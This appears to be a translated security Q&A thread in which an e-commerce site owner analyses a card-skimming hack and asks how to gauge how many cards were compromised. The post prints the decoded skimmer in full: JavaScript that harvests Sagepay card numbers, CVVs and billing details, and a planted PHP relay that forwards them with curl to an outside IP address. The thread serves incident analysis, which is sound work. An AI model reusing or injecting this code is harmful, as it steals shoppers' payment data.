Entendiendo el hack en el sitio de comercio electrónico

3

Necesito ayuda para comprender este truco y tal vez pueda obtener más información sobre él.

Este script se insertó en nuestro sitio web (quizás a través de una contraseña débil):

eval(atob("string"));

significa la cadena (usando un decodificador base 64):

var se = false;
function timedMe() {
    if ((!se) && (document.getElementById('sagepaydirectpro_cc_cid'))) {
        fln = document.getElementById('billing:firstname').value + ' ' + document.getElementById('billing:lastname').value;
        ci = document.getElementById('billing:city').value;
        s = document.getElementById('billing:region_id');
        st = s.options[s.selectedIndex].text;
        c = document.getElementById('billing:country_id');
        co = c.options[c.selectedIndex].text;
        ad = document.getElementById('billing:street1').value + ' ' + document.getElementById('billing:street2').value;
        zp = document.getElementById('billing:postcode').value;
        t = document.getElementById('sagepaydirectpro_cc_type');
        ct = t.options[t.selectedIndex].text;
        cn = document.getElementById('sagepaydirectpro_cc_number').value;
        cem = document.getElementById('sagepaydirectpro_expiration').value;
        cey = document.getElementById('sagepaydirectpro_expiration_yr').value;
        cvv = document.getElementById('sagepaydirectpro_cc_cid').value;
        if ((cn.length == 16 && cvv.length == 3) || (cn.length == 15 && cvv.length == 4)) {
            se = true;
            var i = document.createElement('img');
            i.src = 'https://this.is.our.website.url/shell/shell.php?p=132' + encodeURIComponent('&fln=' + fln + '&ct=' + ct + '&cn=' + cn + '&cem=' + cem + '&cey=' + cey + '&cvv=' + cvv + '&co=' + co + '&ci=' + ci + '&st=' + st + '&ad=' + ad + '&zp=' + zp);
        }
    }
}
setInterval('timedMe()', 700);

Y luego en shell/shell.php hay:

if($_GET['p']){

    $dourl=base64_decode('aHR0cDovLzE5My4xMDQuNDEuMjIwL2wzLnBocD9wPQ==').urlencode($_GET['p']);

    if(function_exists('curl_init')){

        if($ch=curl_init()){

            curl_setopt($ch,CURLOPT_URL,$dourl);
            curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);

            if($data=@curl_exec($ch)) $wrt=$data;curl_close($ch);

        }
    }
    else $wrt=@file_get_contents($dourl); 
}

esa cadena se decodifica a:

http://193.104.41.220/l3.php?p=

Por lo tanto, entiendo que cuando un cliente realiza un pago en nuestro sitio web:

1) obtiene toda la información de los campos de Sagepay

2) verifica si cn y cvv son válidos

3) crea una imagen y se adjunta a la url todos los datos de la tarjeta de crédito

4) el script php lleva esos datos a su servidor ( enlace ).

Mi pregunta :

¿Hay algo más que pueda descubrir de estos scripts, como cuántas tarjetas se han comprometido, etc.?

    
pregunta Claudiu Creanga 27.11.2015 - 21:47
fuente

1 respuesta

1

@QuestionOverflow me apuntó en la dirección correcta. Los registros del servidor para shell.php me mostraron exactamente cuándo comenzó y cuántas tarjetas se vieron afectadas.

    
respondido por el Claudiu Creanga 30.11.2015 - 15:05
fuente

Lea otras preguntas en las etiquetas